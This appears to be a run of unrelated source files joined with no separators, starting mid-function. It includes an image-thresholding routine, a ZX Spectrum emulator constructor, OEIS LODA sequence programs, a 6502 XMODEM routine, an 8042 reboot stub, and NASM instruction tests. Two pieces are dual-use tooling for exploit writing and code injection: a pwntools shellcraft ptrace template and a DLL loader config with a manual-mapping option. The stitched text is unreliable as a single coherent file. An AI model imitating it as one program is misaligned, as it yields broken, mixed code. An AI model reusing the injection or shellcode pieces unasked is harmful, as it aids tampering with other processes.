0; for (int x=0; x<255; x++) { tot += (double)(histogram_[x] * x); } for (int x=0; x<255; x++) { wb += histogram_[x]; if (wb == 0) { continue; } wf = total - wb; if (wf == 0) { break; } btot += (double)(x * histogram_[x]); double ub = btot / wb; double uf = (tot - btot) / wf; double variance = wb * wf * (ub - uf) * (ub - uf); if (variance > max) { max = variance; t = x; } } //Draw histogram double scale = (double)(HISTOGRAM_H - 10) / (double)histmax; double bw = (HISTOGRAM_W - 10) / 255; for (int z = 0; z < 255; z++) { DrawBox(hist, HISTOGRAM_W, (z * bw) + 10, HISTOGRAM_H - 5 - (int)(histogram_[z] * scale), (z * bw) + bw + 10, HISTOGRAM_H - 5, 200); } DrawBox(hist, HISTOGRAM_W, (t * bw) + 10, 0, (t * bw) + bw + 10, HISTOGRAM_H, 250); for (int x = 0; x < w_; x++) { for (int y = 0; y < h_; y++) { int pos = x + (y * w_); if (src[pos] > t) { result[pos] = 255; } else { result[pos] = 0; } } } return hist; } }
// Конструктор Z80Spectrum::Z80Spectrum() { #ifndef NO_SDL sdl_screen = NULL; #endif width = 320*3; height = 240*3; sdl_enable = 1; first_sta = 1; auto_keyb = 0; frame_id = 0; diff_prev_frame = 1; // Первый кадр всегда отличается t_states_cycle = 0; t_states_all = 0; flash_state = 0; flash_counter = 0; //ms_clock_old = 0; autostart = 0; frame_counter = 0; skip_dup_frame = 0; max_audio_cycle = 0; sdl_disable_sound = 0; klatch = 0; kshift = 0; port_7ffd = 0x0010; // Первично указывает на 48k ROM border_id = 0; port_fe = 0; skip_first_frames = 0; trdos_latch = 0; wav_cursor = 0; t_states_wav = 0; ay_rng = 1; ab_cursor = 0; ay_noise_tick = 0; ay_noise_period = 0; ay_noise_toggle = 0; ay_env_first = 1; ay_env_rev = 0; ay_env_period = 0; ay_mono = 0; // Настройки записи фреймов con_frame_start = 0; con_frame_end = 150; con_frame_fps = 30; record_file = NULL; wave_file = NULL; // Инициализация Debugger View ds_ad = 0; ds_size = 0; bp_count = 0; ds_start = 0; ds_cursor = 0; ds_viewmode = 1; ds_dumpaddr = 0; ds_match_row = 0; bp_step_over = 0; bp_step_sp = 0; bp_step_pc = 0; ds_showfb = 0; ds_halt_dump = 0; // SPI инициализация spi_data = 0; spi_st = 0; spi_resp = 0; spi_command = 0; spi_phase = 0; spi_arg = 0; spi_crc = 0; spi_status = 0; spi_lba = 0; spi_file = NULL; #ifndef NO_SDL AudioSDLFrame = 0; // SDL-фрейм позади основного AudioZXFrame = 8; // Генеральный фрейм #endif // Заполнение таблицы адресов for (int y = 0; y < 192; y++) { lookupfb[y] = 0x4000 + 32*((y & 0x38)>>3) + 256*(y&7) + 2048*(y>>6); } // Обязательные ROM loadrom("48k.rom", 1); loadrom("128k.rom", 0); loadrom("trdos.rom", 4); // Коррекция уровня for (int _f = 0; _f < 16; _f++) { ay_tone_levels[_f] = (ay_levels[_f]*256 + 0x8000) / 0xffff; } for (int _f = 0; _f < 3; _f++) { ay_tone_high[_f] = 0; ay_tone_tick[_f] = 0; ay_tone_period[_f] = 1; } ay_regs[7] = 0xff; // Все кнопки вначале отпущены for (int _i = 0; _i < 8; _i++) { key_states[_i] = 0xff; } } // Деструктор при выходе Z80Spectrum::~Z80Spectrum() { #ifndef NO_SDL if (sdl_enable) SDL_Quit(); #endif // Финализация видеопотока if (record_file) { fclose(record_file); } // Финализация WAV if (wave_file) { //waveFmtHeader(); fclose(wave_file); } }
; A051673: Cubic star numbers: a(n) = n^3 + 4*Sum_{i=0..n-1} i^2. ; 0,1,12,47,120,245,436,707,1072,1545,2140,2871,3752,4797,6020,7435,9056,10897,12972,15295,17880,20741,23892,27347,31120,35225,39676,44487,49672,55245,61220,67611,74432,81697,89420,97615,106296,115477,125172,135395,146160,157481,169372,181847,194920,208605,222916,237867,253472,269745,286700,304351,322712,341797,361620,382195,403536,425657,448572,472295,496840,522221,548452,575547,603520,632385,662156,692847,724472,757045,790580,825091,860592,897097,934620,973175,1012776,1053437,1095172,1137995,1181920,1226961,1273132,1320447,1368920,1418565,1469396,1521427,1574672,1629145,1684860,1741831,1800072,1859597,1920420,1982555,2046016,2110817,2176972,2244495,2313400,2383701,2455412,2528547,2603120,2679145,2756636,2835607,2916072,2998045,3081540,3166571,3253152,3341297,3431020,3522335,3615256,3709797,3805972,3903795,4003280,4104441,4207292,4311847,4418120,4526125,4635876,4747387,4860672,4975745,5092620,5211311,5331832,5454197,5578420,5704515,5832496,5962377,6094172,6227895,6363560,6501181,6640772,6782347,6925920,7071505,7219116,7368767,7520472,7674245,7830100,7988051,8148112,8310297,8474620,8641095,8809736,8980557,9153572,9328795,9506240,9685921,9867852,10052047,10238520,10427285,10618356,10811747,11007472,11205545,11405980,11608791,11813992,12021597,12231620,12444075,12658976,12876337,13096172,13318495,13543320,13770661,14000532,14232947,14467920,14705465,14945596,15188327,15433672,15681645,15932260,16185531,16441472,16700097,16961420,17225455,17492216,17761717,18033972,18308995,18586800,18867401,19150812,19437047,19726120,20018045,20312836,20610507,20911072,21214545,21520940,21830271,22142552,22457797,22776020,23097235,23421456,23748697,24078972,24412295,24748680,25088141,25430692,25776347,26125120,26477025,26832076,27190287,27551672,27916245,28284020,28655011,29029232,29406697,29787420,30171415,30558696,30949277,31343172,31740395,32140960,32544881,32952172,33362847,33776920,34194405,34615316,35039667,35467472,35898745 mov $4,$0 lpb $0,1 sub $0,1 mov $1,$2 add $3,$4 add $2,$3 add $1,$2 add $4,4 lpe
copyright zengfr site:http://github.com/zengfr/romhack 03DB86 move.b #$1, ($95,A6) [boss+9A, boss+9C] 03DD02 move.l A0, ($9a,A6) [boss+4] 03DD06 bra $40b46 [boss+9A, boss+9C] copyright zengfr site:http://github.com/zengfr/romhack
; A211955: Triangle of coefficients of a polynomial sequence related to the Morgan-Voyce polynomials A085478. ; Submitted by Jon Maiga ; 1,1,1,1,3,2,1,6,10,4,1,10,30,28,8,1,15,70,112,72,16,1,21,140,336,360,176,32,1,28,252,840,1320,1056,416,64,1,36,420,1848,3960,4576,2912,960,128,1,45,660,3696,10296,16016,14560,7680,2176,256 seq $0,123519 ; Triangle read by rows: T(n,k) number of tilings of a 2n X 3 grid by dominoes, 2k of which are in a vertical position (0<=k<=n). dif $0,2
; A327916: Triangle T(k, n) read by rows: Array A(k, n) = 2^k*(k + 1+ n), k >= 0, n >= 0, read by antidiagonals upwards. ; Submitted by Jon Maiga ; 1,4,3,12,8,5,32,20,12,7,80,48,28,16,9,192,112,64,36,20,11,448,256,144,80,44,24,13,1024,576,320,176,96,52,28,15,2304,1280,704,384,208,112,60,32,17,5120,2816,1536,832,448,240,128,68,36,19,11264,6144,3328,1792,960,512,272,144,76,40,21 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe add $1,1 add $1,$0 mov $0,2 pow $0,$2 mul $1,$0 mov $0,$1
; A303812: Generalized 28-gonal (or icosioctagonal) numbers: m*(13*m - 12) with m = 0, +1, -1, +2, -2, +3, -3, ... ; 0,1,25,28,76,81,153,160,256,265,385,396,540,553,721,736,928,945,1161,1180,1420,1441,1705,1728,2016,2041,2353,2380,2716,2745,3105,3136,3520,3553,3961,3996,4428,4465,4921,4960,5440,5481,5985,6028,6556,6601,7153,7200,7776,7825,8425,8476,9100,9153 mov $5,$0 mov $6,$0 lpb $5 mov $0,$6 sub $5,1 sub $0,$5 add $2,$0 mov $3,$0 lpb $2 mul $3,3 mov $4,6 lpb $4 gcd $2,2 mov $4,5 lpe sub $2,1 mul $3,4 lpe div $3,12 add $1,$3 lpe
setrepeat 2 frame 0, 06 frame 4, 06 dorepeat 1 endanim
#include "configuration.h" #include <inipp.h> #include <fstream> #include "logging.h" namespace dll_loader { namespace fs = std::filesystem; // LoaderConfiguration bool LoaderConfiguration::LoadFromFile(const fs::path& configuration_path) { std::ifstream is(configuration_path); if (!is.is_open()) { LOG("Failed to open '{}'", configuration_path.string()); return false; } inipp::Ini<char> ini; ini.parse(is); if (!inipp::get_value(ini.sections[""], "DllPath", dll_path_str)) { LOG("Failed to retrieve 'DllPath' value from configuration"); return false; } if (!inipp::get_value(ini.sections[""], "ManualMap", use_manual_mapping)) { LOG("Failed to retrieve 'ManualMap' value from configuration"); return false; } return true; } } // namespace dll_loader
#ifndef SPROUT_RANGE_ALGORITHM_SET_INTERSECTION_HPP #define SPROUT_RANGE_ALGORITHM_SET_INTERSECTION_HPP #include <sprout/config.hpp> #include <sprout/range/algorithm/fixed/set_intersection.hpp> #include <sprout/range/algorithm/fit/set_intersection.hpp> #endif // #ifndef SPROUT_RANGE_ALGORITHM_SET_INTERSECTION_HPP
; A179545: The sum of the elements within a jump in a Sieve of Eratosthenes table. ; 3,9,30,63,165,234,408,513,759,1218,1395,1998,2460,2709,3243,4134,5133,5490,6633,7455,7884,9243,10209,11748,13968,15150,15759,17013,17658,18984,24003,25545,27948,28773,33078,33975,36738,39609,41583,44634,47793,48870,54435,55584,57918,59103,66465,74259,76953,78318,81084,85323,86760,94125,98688,103359,108138,109755,114678,118020,119709,128334,140913,144615,146484,150258,163845,169848,180093,182178,186384,192783,201483,208134,214893,219459,226398,235818,240600,250308,262713,265230,277995,280584,288423,293709,301728,312588,318090,320859,326433,343443,355023,360885,372753,378759,387858,406380,409509,438210,447993,464538,474609,484788,488205,498528,515973,526584,537303,540900,551763,562734,570108,573813,596295,615360,619209,626943,638634,650433,654390,678384,686478,698709,715185,736050,752958,774363,791703,804834,818073,826959,844875,858438,867540,885888,895134,927873,951618,980508,985365,1009830,1014759,1024653,1029618,1054623,1090134,1100388,1105533,1115859,1152378,1162920,1168209,1178823,1232613,1243515,1265463,1293168,1315548,1326810,1343793,1360884,1401183,1412805,1430328,1447959,1471635,1489518,1525608,1537734,1556013,1562130,1592895,1599084,1617723,1649028,1655325,1686990,1693359,1712538,1770723,1783785,1790334,1803468,1823259,1843158,1869858,1890009,1910268,1985475,1992384,2027109,2055105,2090370,2111673,2133084,2161800,2205234,2219808,2241759,2263818,2271195,2293398,2338128,2375733,2444178,2451843,2467209,2490348,2498085,2521368,2536950,2544759,2560413,2607663,2615580,2639403,2776440,2800983,2825634,2858670,2933703,2975808,3035259,3052353,3060918,3078084,3103923,3138543,3155925,3164634,3190833,3243555,3287820,3296709,3314523,3323448,3341334,3368253,3422415,3477009,3513645,3568959,3596778,3615384,3643383,3680883,3699705,3737493,3756459 cal $0,119959 ; p^2-p+1 central polygonal numbers with prime indices A002061(prime(n)). add $0,1 mov $1,$0 sub $1,4 div $1,2 mul $1,3 add $1,3
; A133356: a(n)=2a(n-1)+16a(n-2) for n>1, a(0)=1, a(1)=1 . ; 1,1,18,52,392,1616,9504,44864,241792,1201408,6271488,31765504,163874816,835997696,4293992448,21963948032,112631775232,576686718976,2955481841664,15137951186944,77563611840512,397334442672128,2035686674792448,10428724432338944,53428435661357056,273716462240137216,1402287895061987328,7184039185966170112,36804684692924137472,188553996361306996736,965982947809400193024,4948829837399712333824,25353386839749827756032,129888051077895052853248,665430291591787349803008,3409069400429895545257984,17465023466328388687364096,89475157339535106098855936,458390690140324431195537408,2348383897713210559972769792,12031018837671612019074138112,61636180038754592997712592896,315768661480254978300611395584,1617716203580583444564624277504,8287730990845246541939030884352,42458921238979828196912050208768,217521538331483601064848594567168,1114385816486644453280289992474624,5709116246277026523598157498023936,29248405556340364299680954875641856,149842671053113152976932429719666688,767659831007672134748760137449603072 mov $4,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$4 sub $5,1 sub $0,$5 mov $13,$0 mov $15,2 lpb $15 mov $0,$13 sub $15,1 add $0,$15 sub $0,1 mov $9,$0 mov $11,2 lpb $11 mov $0,$9 sub $11,1 add $0,$11 mov $2,0 mov $3,0 mov $8,2 lpb $0 sub $0,1 mov $7,$3 mov $3,$2 mul $3,8 add $8,$7 mul $8,2 mov $2,$8 lpe mov $7,$2 mov $12,$11 lpb $12 mov $10,$7 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$7 lpe mov $6,$15 mov $7,$10 lpb $6 sub $6,1 mov $14,$7 lpe lpe lpb $13 mov $13,0 sub $14,$7 lpe mov $7,$14 div $7,4 add $1,$7 lpe mov $0,$1
#ifndef OMG_DDS_SUB_COND_QUERY_CONDITION_HPP_ #define OMG_DDS_SUB_COND_QUERY_CONDITION_HPP_ /* Copyright 2010, Object Management Group, Inc. * Copyright 2010, PrismTech, Corp. * Copyright 2010, Real-Time Innovations, Inc. * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <dds/sub/cond/detail/QueryCondition.hpp> #include <dds/sub/Query.hpp> #include <dds/sub/cond/detail/TQueryConditionImpl.hpp> #ifdef OMG_DDS_CONTENT_SUBSCRIPTION_SUPPORT namespace dds { namespace sub { namespace cond { typedef dds::sub::cond::detail::QueryCondition QueryCondition; } } } #endif // OMG_DDS_CONTENT_SUBSCRIPTION_SUPPORT #endif /* OMG_DDS_SUB_COND_QUERY_CONDITION_HPP_ */
*= $1300 ;.D X-XFER 1300 JMP SENDFIL JMP RECVCHK JMP SENDFIL JMP RECVCRC PRINT2 NOP ;OPEN1,8,15,"S0:X-XFER 1300,ML1300X":CLOSE1:SAVE"ML1300X",8:STOP ;********** ;CRC TABLES ;********** CRCLSB BYTE 0,33,66,99,132,165,198,231 BYTE 8,41,74,107,140,173,206,239 BYTE 49,16,115,82,181,148,247,214 BYTE 57,24,123,90,189,156,255,222 BYTE 98,67,32,1,230,199,164,133 BYTE 106,75,40,9,238,207,172,141 BYTE 83,114,17,48,215,246,149,180 BYTE 91,122,25,56,223,254,157,188 BYTE 196,229,134,167,64,97,2,35 BYTE 204,237,142,175,72,105,10,43 BYTE 245,212,183,150,113,80,51,18 BYTE 253,220,191,158,121,88,59,26 BYTE 166,135,228,197,34,3,96,65 BYTE 174,143,236,205,42,11,104,73 BYTE 151,182,213,244,19,50,81,112 BYTE 159,190,221,252,27,58,89,120 BYTE 136,169,202,235,12,45,78,111 BYTE 128,161,194,227,4,37,70,103 BYTE 185,152,251,218,61,28,127,94 BYTE 177,144,243,210,53,20,119,86 BYTE 234,203,168,137,110,79,44,13 BYTE 226,195,160,129,102,71,36,5 BYTE 219,250,153,184,95,126,29,60 BYTE 211,242,145,176,87,118,21,52 BYTE 76,109,14,47,200,233,138,171 BYTE 68,101,6,39,192,225,130,163 BYTE 125,92,63,30,249,216,187,154 BYTE 117,84,55,22,241,208,179,146 BYTE 46,15,108,77,170,139,232,201 BYTE 38,7,100,69,162,131,224,193 BYTE 31,62,93,124,155,186,217,248 BYTE 23,54,85,116,147,178,209,240 ; CRCMSB BYTE 0,16,32,48,64,80,96,112 BYTE 129,145,161,177,193,209,225,241 BYTE 18,2,50,34,82,66,114,98 BYTE 147,131,179,163,211,195,243,227 BYTE 36,52,4,20,100,116,68,84 BYTE 165,181,133,149,229,245,197,213 BYTE 54,38,22,6,118,102,86,70 BYTE 183,167,151,135,247,231,215,199 BYTE 72,88,104,120,8,24,40,56 BYTE 201,217,233,249,137,153,169,185 BYTE 90,74,122,106,26,10,58,42 BYTE 219,203,251,235,155,139,187,171 BYTE 108,124,76,92,44,60,12,28 BYTE 237,253,205,221,173,189,141,157 BYTE 126,110,94,78,62,46,30,14 BYTE 255,239,223,207,191,175,159,143 BYTE 145,129,177,161,209,193,241,225 BYTE 16,0,48,32,80,64,112,96 BYTE 131,147,163,179,195,211,227,243 BYTE 2,18,34,50,66,82,98,114 BYTE 181,165,149,133,245,229,213,197 BYTE 52,36,20,4,116,100,84,68 BYTE 167,183,135,151,231,247,199,215 BYTE 38,54,6,22,102,118,70,86 BYTE 217,201,249,233,153,137,185,169 BYTE 88,72,120,104,24,8,56,40 BYTE 203,219,235,251,139,155,171,187 BYTE 74,90,106,122,10,26,42,58 BYTE 253,237,221,205,189,173,157,141 BYTE 124,108,92,76,60,44,28,12 BYTE 239,255,207,223,175,191,143,159 BYTE 110,126,78,94,46,62,14,30 ;**************** ;VARIABLE STORAGE ;**************** BUFFER = $1EFD BUFFER3 = $1F00 ENDBUF = $1F80 CRCBUF = $1F81 ACK = $06 CAN = $18 EOT = $04 NAK = $15 SOH = $01 CNAK = $43 PAD = $1A OTH = $02 UPDN = $FE XTYPE = $FF ;*************** ;VARIABLE MEMORY ;*************** BLOCK BYTE 0 GOOD BYTE 0 ERRORS BYTE 0 ABORT BYTE 0 TIMEOUTS BYTE 0 BUFBIT BYTE 0 BUFSIZE BYTE 0 CHECKSM BYTE 0 CRC BYTE 0,0 CLOCK BYTE 0 IOSTAT BYTE 0 ;************* ;MISC ROUTINES ;************* CLEAR LDA #$00 STA BLOCK STA GOOD STA ERRORS STA ABORT STA BUFBIT STA CHECKSM STA CRC STA CRC+1 STA TIMEOUTS STA IOSTAT RTS RETIME LDA #$00 TAX TAY JMP $FFDB CHECKTIME LDA #$00 STA CLOCK LDA $A1 CMP #$03 BCS BADTIME RTS BADTIME INC TIMEOUTS INC CLOCK JMP RETIME CHECKABORT LDA $D3 CMP #$02 BEQ ABORTED LDA $0B0B BNE ABORTED RTS ABORTED LDA #$01 STA ABORT JMP $FFCC ERRFLUSH INC ERRORS FLUSHBUF LDY #$00 TYA FLUSHLP STA BUFFER,Y INY CPY #$85 BCC FLUSHLP MINFLUSH LDA $0A18 STA $0A19 LDA $0A1A STA $0A1B LDA #$00 STA $D0 STA BUFBIT STA GOOD JSR RETIME RTS PAAS JSR RETIME PAS1 LDA $A2 CMP #$05 BNE PAS1 RTS GETKEY TYA PHA LDA $0A18 CMP $0A19 BEQ NOKEY LDY $0A19 LDA ($C8),Y STA $FA INC $0A19 LDA #$01 STA $96 PLA TAY RTS NOKEY LDA #$00 STA $96 STA $FA PLA TAY RTS ;******************* ;CHECK BLOCK ROUTINE ;******************* CHKBLK LDA XTYPE BNE CRCCHK LDY #$00 STY CHECKSM CHKCHK LDA BUFFER3,Y CLC ADC CHECKSM STA CHECKSM INY CPY #$80 BCC CHKCHK RTS CRCCHK LDY #$00 STY CRC STY CRC+1 CRCCLP LDA BUFFER3,Y EOR CRC TAX LDA CRCMSB,X EOR CRC+1 STA CRC LDA CRCLSB,X STA CRC+1 INY CPY #$80 BNE CRCCLP RTS ;********************* ;RECEIVE A XMODEM FILE ;********************* RECVCHK LDA #$00 STA XTYPE LDA #$84 STA BUFSIZE JMP RCVBEGIN RECVCRC LDA #$01 STA XTYPE LDA #$85 STA BUFSIZE RCVBEGIN LDA #$01 STA UPDN JSR CLEAR JSR FLUSHBUF INC BLOCK LDX #$05 JSR $FFC9 LDA XTYPE BNE CXNAK LDA #NAK JSR $FFD2 JMP RECVLP CXNAK LDA #CNAK JSR $FFD2 RECVLP LDA ERRORS CMP #$0E BCC R2;**TOO MANY ERRS CANCEL LDA #$01 STA ABORT R2 JSR CHECKABORT JSR CHECKTIME LDA ABORT BEQ ARECVN JMP ABORTXMODEM RCVDONE JMP EXITRCV ARECVN LDA BLOCK CMP #$01 BNE NEXTR LDA TIMEOUTS CMP #$02 BNE NEXTR JMP CANCEL NEXTR LDA CLOCK BEQ NOCLOCK JMP NORBORT NOCLOCK LDX #$05 JSR $FFC6 LDA BUFFER CMP #CAN BEQ CANCEL CMP #EOT BEQ RCVDONE JSR GETKEY LDA $96 BEQ RECVLP JSR RETIME LDY BUFBIT LDA $FA STA BUFFER,Y INC BUFBIT INY CPY BUFSIZE BCC RECVLP ;**** CHECK THE BLOCK **** JSR PAAS LDA BUFFER CMP #EOT BEQ RCVDONE CMP #CAN BEQ CANCEL CMP #OTH BEQ CHKREST CMP #SOH BEQ CHKREST JMP CONRCV CHKREST LDA BUFFER+1 CMP BLOCK BNE CONRCV EOR #$FF CMP BUFFER+2 BNE CONRCV JSR CHKBLK LDA XTYPE BNE CRCDO LDA CHECKSM CMP ENDBUF BEQ GOODIE JMP CONRCV CRCDO LDA ENDBUF CMP CRC BNE CONRCV LDA CRCBUF CMP CRC+1 BNE CONRCV GOODIE LDA #$01 STA GOOD ;**** WRITE OR NAK BLOCK **** CONRCV LDA GOOD BEQ NORGOOD JSR $FFCC LDX #$02 JSR $FFC9 LDY #$00 WRITELP LDA BUFFER3,Y JSR $FFD2 INY CPY #$80 BCC WRITELP JSR FLUSHBUF JSR $FFCC LDA #$2D JSR $FFD2 LDX #$05 JSR $FFC9 LDA #ACK JSR $FFD2 JSR $FFCC INC BLOCK JMP RECVLP NORGOOD LDA ABORT BEQ NORBORT JMP ABORTXMODEM NORBORT JSR FLUSHBUF JSR $FFCC LDA #$3A JSR $FFD2 LDX #$05 JSR $FFC9 LDA XTYPE BNE CNKK NAKK LDA #NAK JSR $FFD2 JMP CONAK CNKK LDA BLOCK CMP #$02 BCS NAKK LDA #CNAK JSR $FFD2 CONAK INC ERRORS JSR $FFCC JMP RECVLP ;****** ALL DONE ****** EXITRCV JSR $FFCC LDX #$05 JSR $FFC9 LDA #ACK JSR $FFD2 JMP EXITXMODEM ABORTXMODEM LDA #$01 STA ABORT JSR $FFCC LDX #$05 JSR $FFC9 LDA #CAN JSR $FFD2 JSR $FFD2 JSR $FFD2 EXITXMODEM LDX ABORT JSR CLEAR STX ABORT JSR FLUSHBUF LDA #$00 STA XTYPE STA UPDN JSR $FFCC LDA #$2A JSR $FFD2 LDA ABORT STA $FB RTS ;****************** ;SEND A XMODEM FILE ;****************** SENDFIL LDA #$00 STA UPDN JSR CLEAR JSR FLUSHBUF JSR SNDSCRC JMP SNDSTART SNDSCHK LDA #$00 STA XTYPE LDA #$84 STA BUFSIZE RTS SNDSCRC LDA #$01 STA XTYPE LDA #$85 STA BUFSIZE RTS SNDBUILD LDX #$02 JSR $FFC6 LDY #$00 STY IOSTAT SREAD JSR $FFE4 STA BUFFER3,Y LDA $90 STA IOSTAT BNE PADBUF INY CPY #$80 BCC SREAD JMP SND2 PADBUF INY INY CPY #$80 BCC PAD2 PAD2 LDA #PAD STA BUFFER3,Y INY CPY #$80 BCC PAD2 SND2 LDA #SOH STA BUFFER LDA BLOCK STA BUFFER+1 EOR #$FF STA BUFFER+2 ;**** BUILD CHECKSUMS **** JSR CHKBLK LDA CHECKSM STA ENDBUF LDA XTYPE BEQ SNDCONT LDA CRC STA ENDBUF LDA CRC+1 STA CRCBUF ;***** SEND THE BLOCK ***** SNDCONT JSR MINFLUSH JSR $FFCC LDX #$05 JSR $FFC9 LDY #$00 STY BUFBIT SENDLOOP LDA BUFFER,Y JSR $FFD2 LDY BUFBIT INY STY BUFBIT CPY BUFSIZE BCC SENDLOOP SNDSTART JSR $FFCC LDX #$05 JSR $FFC6 JSR RETIME SENDWAIT JSR CHECKABORT JSR CHECKTIME JSR $FFE4 CMP #NAK BEQ SNDCHK CMP #CNAK BEQ SNDCRC CMP #CAN BEQ SNDABORT CMP #ACK BEQ NEXTBLOCK LDA ERRORS CMP #$0E BEQ SNDABORT LDA ABORT BNE SNDABORT LDA CLOCK BNE SENDERR JMP SENDWAIT ;****** MISC SEND ROUTINES ****** SNDABORT JMP ABORTXMODEM SNDCRC JSR SNDSCRC JMP SENDRE SNDCHK JSR SNDSCHK SENDRE LDA BLOCK BEQ NEXTBLOCK SENDERR INC ERRORS JSR $FFCC LDA #$3A JSR $FFD2 JSR PAAS JMP SNDCONT NEXTBLOCK INC BLOCK JSR $FFCC LDA #$2D JSR $FFD2 LDA IOSTAT BEQ NXTGO LDX #$05 JSR $FFC9 LDY #$00 EOPL LDA #EOT JSR $FFD2 INY CPY #$85 BNE EOPL JMP EXITXMODEM NXTGO JSR PAAS JSR FLUSHBUF JMP SNDBUILD
; A055377: a(n) = largest prime <= n/2. ; 2,2,3,3,3,3,5,5,5,5,7,7,7,7,7,7,7,7,11,11,11,11,13,13,13,13,13,13,13,13,17,17,17,17,19,19,19,19,19,19,19,19,23,23,23,23,23,23,23,23,23,23,23,23,29,29,29,29,31,31,31,31,31,31,31,31,31,31,31,31,37,37,37,37,37,37,37,37,41,41,41,41,43,43,43,43,43,43,43,43,47,47,47,47,47,47,47,47,47,47,47,47,53,53,53,53,53,53,53,53,53,53,53,53,59,59,59,59,61,61,61,61,61,61,61,61,61,61,61,61,67,67,67,67,67,67,67,67,71,71,71,71,73,73,73,73,73,73,73,73,73,73,73,73,79,79,79,79,79,79,79,79,83,83,83,83,83,83,83,83,83,83,83,83,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,89,97,97,97,97,97,97,97,97,101,101,101,101,103,103,103,103,103,103,103,103,107,107,107,107,109,109,109,109,109,109,109,109,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113 div $0,2 cal $0,7917 ; Version 1 of the "previous prime" function: largest prime <= n. mov $1,$0
[bits 32] [section .text] ; Bad 8042 CPU reset / reboot code [global reboot_8042] reboot_8042: in al, 0x64 test al, 00000010b jne reboot_8042 mov al, 0xFE out 0x64, al
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="request, vararg"/> <%docstring> Invokes the syscall ptrace. See 'man 2 ptrace' for more information. Arguments: request(ptrace_request): request vararg(int): vararg </%docstring> ${syscall('SYS_ptrace', request, vararg)}
SECTION code_clib PUBLIC generic_console_vpeek EXTERN __sv8000_mode EXTERN generic_console_text_xypos EXTERN vpeek_MODE1 INCLUDE "target/sv8000/def/sv8000.def" ;Entry: c = x, ; b = y ; e = rawmode ;Exit: nc = success ; a = character, ; c = failure generic_console_vpeek: ld a,(__sv8000_mode) cp MODE_1 jp z,vpeek_MODE1 and a ccf ret nz call generic_console_text_xypos ld a,(hl) and a ret
bits 32 pinsrw mm0,eax,0 pinsrw mm1,si,0 pinsrw mm2,[ecx],0 pinsrw mm3,word [ecx],0 pinsrb xmm0,eax,0 pinsrb xmm1,sil,0 ; pinsrb xmm1,bh,0 pinsrb xmm2,[ecx],0 pinsrb xmm3,byte [ecx],0 pinsrw xmm0,eax,0 pinsrw xmm1,si,0 pinsrw xmm2,[ecx],0 pinsrw xmm3,word [ecx],0 pinsrd xmm0,eax,0 pinsrd xmm1,esi,0 pinsrd xmm2,[ecx],0 pinsrd xmm3,dword [ecx],0 vpinsrb xmm0,eax,0 vpinsrb xmm1,bl,0 vpinsrb xmm2,[ecx],0 vpinsrb xmm3,byte [ecx],0 vpinsrw xmm0,eax,0 vpinsrw xmm1,si,0 vpinsrw xmm2,[ecx],0 vpinsrw xmm3,word [ecx],0 vpinsrd xmm0,eax,0 vpinsrd xmm1,esi,0 vpinsrd xmm2,[ecx],0 vpinsrd xmm3,dword [ecx],0 vpinsrb xmm4,xmm0,eax,0 vpinsrb xmm5,xmm1,bl,0 vpinsrb xmm6,xmm2,[ecx],0 vpinsrb xmm7,xmm3,byte [ecx],0 vpinsrw xmm4,xmm0,eax,0 vpinsrw xmm5,xmm1,si,0 vpinsrw xmm6,xmm2,[ecx],0 vpinsrw xmm7,xmm3,word [ecx],0 vpinsrd xmm4,xmm0,eax,0 vpinsrd xmm5,xmm1,esi,0 vpinsrd xmm6,xmm2,[ecx],0 vpinsrd xmm7,xmm3,dword [ecx],0